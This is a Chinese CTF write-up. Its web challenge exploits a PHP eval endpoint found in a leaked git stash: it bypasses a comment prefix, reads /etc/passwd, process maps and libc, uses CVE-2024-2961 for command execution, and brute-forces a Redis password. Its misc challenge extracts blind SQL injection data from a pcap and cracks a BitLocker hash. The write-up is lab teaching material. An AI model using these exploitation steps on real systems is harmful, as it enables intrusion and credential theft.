WEB-phpms
- 网站git泄露,通过githacker 下载.git目录,执行
git log --all
,来查看所有分支上的提交记录,包括stash
可以看到有一暂存的修改,通过git diff或者工具可以看到index.php的代码
<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
echo ':(';
}else{
eval("#$shell");
}
?>
这里会将用户传参的shell参数拼接#
作为代码执行,但是不允许换行。
- 绕过换行和注释符的过滤,执行php代码。
#
作为php的单行注释符,在遇到?>
会强制结束PHP模式,使得后续代码被当作新代码块执行。所以传参?shell=?><?php echo 11111;
即可绕过注释执行代码。
- 进一步利用发现,禁用了除index用到的
preg_match
以外的所有函数(disable_function)。
这里的思路是利用php原生类进行下一步利用。例如:
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
passwd中可以看到redis,后面是对redis进行利用。但是常见ctf题目中利用SoapClient进行ssrf的操作并不可行,一方面靶机没有安装soap拓展,而且SoapClient会提示只支持http/https协议。
- 利用SplFileObject配合CNEXT (CVE-2024-2961)进行命令执行,爆破reids密码。
利用
$context = new SplFileObject('file:///proc/self/maps');
foreach($context as $f){
echo($f);
}
$context = new SplFileObject('php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so');
foreach($context as $f){
echo($f);
}
读取maps和libc,利用https://github.com/kezibei/php-filter-iconv项目进行命令执行,执行无回显,将结果写入/tmp/tmpp.txt暂存。
可以看到redis需要密码认证。
这里构造
echo AUTH password | redis-cli -h 127.0.0.1 -p 6379 --raw | grep -q '^OK$' && echo password >> /tmp/pass.txt
进行爆破,利用密码正确与否的不同回显,将正确密码写入tmp
读取/tmp/pass.txt
- 从reids中get flag
echo "auth admin123\nkeys *\nget flag" | redis-cli
MISC-一把嗦
- 分析流量包,找到二次注入的流量规律。
请求包:
一次注册,一次登录,一次查看信息。
响应包:
如果响应包存在“您还不是VIP用户啊”说明sql注入后面的判断错误,正确应该是“您是尊贵的VIP用户”,如:
1300 16 200 text/html; charset=UTF-8 3c21444f43545950452068746d6c3e0d0a3c68746d6c3e0d0a3c686561643e0d0a202020203c6d65746120636861727365743d227574662d38223e0d0a202020203c7469746c653ee4ba91e79b98e4b88be8bdbde7ab993c2f7469746c653e0d0a3c2f686561643e0d0a3c626f64793e0d0a202020203c646976207374796c653d22746578742d616c69676e3a72696768743b223e0d0a202020203c666f726d206d6574686f643d22706f737422207374796c653d22646973706c61793a696e6c696e653b223e0d0a20202020202020203c627574746f6e206e616d653d22636865636b5f696e666f223ee68891e79a84e4bfa1e681af3c2f627574746f6e3e0d0a202020203c2f666f726d3e0d0a202020207c203c6120687265663d223f6c6f676f75743d31223ee98080e587ba3c2f613e0d0a3c2f6469763e0d0a3c70207374796c653d27636f6c6f723a677265656e3b273ee682a8e698afe5b08ae8b4b5e79a84564950e794a8e688b73c2f703e3c6120687265663d27696e6465782e706870273ee8bf94e59b9e3c2f613e
所以定位到响应包中存在“您是尊贵的VIP用户”的流量帧号,前面便是正确的sql注入信息。
利用tshark提取流量请求和响应,便于分析
tshark -r 1.pcapng -Y "http.request.method == \"POST\"" -T fields -e frame.number -e frame.time_relative -e http.host -e http.request.uri -e http.file_data > req.txt
tshark -r 1.pcapng -Y "http.response" -T fields -e frame.number -e tcp.stream -e http.response.code -e http.content_type -e http.file_data > res.txt
- 编写脚本,统计二次注入信息
import binascii
import urllib.parse
import re
def parse_request_file(filename):
request_dict = {}
ordered_requests = []
with open(filename, 'r', encoding='utf-8') as file:
for line in file:
parts = line.strip().split('\t')
if len(parts) >= 5:
frame_number = int(parts[0])
request_dict[frame_number] = {
"timestamp": parts[1],
"ip": parts[2],
"path": parts[3],
"hexdata": parts[4]
}
ordered_requests.append(frame_number)
ordered_requests.sort()
return request_dict, ordered_requests
def find_all_vip_frames(response_filename):
vip_keyword = "您是尊贵的VIP用户"
vip_frames = []
with open(response_filename, 'r', encoding='utf-8') as file:
for line in file:
parts = line.strip().split('\t')
if len(parts) >= 5:
try:
frame_number = int(parts[0])
hex_data = parts[4]
if "MISSING" in hex_data:
continue
decoded_data = binascii.unhexlify(hex_data).decode('utf-8', errors='ignore')
if vip_keyword in decoded_data:
vip_frames.append((frame_number, decoded_data))
except Exception as e:
print(f"解码出错:{e}")
continue
return vip_frames
def find_previous_request_frame(target_frame, request_ordered_list):
previous_frames = [f for f in request_ordered_list if f < target_frame]
return previous_frames[-1] if previous_frames else None
def extract_ascii_char(request_content):
"""
从请求内容中匹配类似
unicode(substr((SELECT password FROM users WHERE username='admin'),2,1))=97
的数字,并转成对应ASCII字符。
"""
pattern = r"unicode\(substr\(.*?,(\d+),1\)\)=([0-9]+)"
match = re.search(pattern, request_content)
if match:
pos = int(match.group(1))
ascii_code = int(match.group(2))
return pos, chr(ascii_code)
else:
return None, None
# 文件路径
response_file = r"res.txt"
request_file = r"req.txt"
request_dict, request_ordered_list = parse_request_file(request_file)
vip_results = find_all_vip_frames(response_file)
# 用 dict 记录密码每个位置字符,方便排序输出
password_chars = {}
if vip_results:
print(f"共找到 {len(vip_results)} 个包含“您是尊贵的VIP用户”的响应:\n")
for vip_frame, _ in vip_results:
suspected_request_frame = vip_frame - 2
previous_frame = find_previous_request_frame(suspected_request_frame, request_ordered_list)
if previous_frame and previous_frame in request_dict:
req = request_dict[previous_frame]
try:
decoded_data = binascii.unhexlify(req['hexdata']).decode('utf-8', errors='ignore')
url_decoded_data = urllib.parse.unquote(decoded_data)
except Exception as e:
url_decoded_data = f"<解码失败: {e}>"
pos, char = extract_ascii_char(url_decoded_data)
if pos is not None and char is not None:
password_chars[pos] = char
print(f"响应帧号:{vip_frame}")
print(f"→ 匹配请求帧号:{previous_frame}")
print(f"请求时间戳:{req['timestamp']}")
print(f"请求路径:{req['path']}")
print(f"请求内容(解码+URL解码):{url_decoded_data}")
if pos is not None and char is not None:
print(f"提取到密码第 {pos} 位字符:{char}")
print("=" * 60)
else:
print(f"响应帧号 {vip_frame} 无对应请求。")
# 根据位置排序输出完整密码
if password_chars:
password = ''.join(password_chars[i] for i in sorted(password_chars))
print(f"\n二次注入的flag为:{password}")
else:
print("没有找到包含“您是尊贵的VIP用户”的响应。")
得到flag:REFTQ1RGezk0OGU0Yzg5LTNlMmQtNDllOS04
base64解码:DASCTF{948e4c89-3e2d-49e9-8
- 导出流量中secret.7z文件,爆破vmdk BitLocker密码。
复制后base64解码,解压得到secret.vmdk。R-Studio挂载可以看到BitLocker加密信息
这里用john配合hashcat爆破:
bitlocker2john.exe -i secret.vmdk
hashcat -m 22100 1.txt "rockyou.txt" --show
john得:
$bitlocker$0$16$e6e8a55def80a26b3ce0d61b9d112f0f$1048576$12$60a60ae688d4db0103000000$60$0dae77d4126cc7ebdd60b1abf8e2608e30e32c8c06ba18d9bbbf2619369059a8c195beede76c174e1403501c41714c00ce51e0540ec48b10b03b51bf
密码:esternocleidomastoideo
挂载后可以看到一个5000+3000.txt
- AAencode解码+rot8000
81a-4ba1ae5dde7e}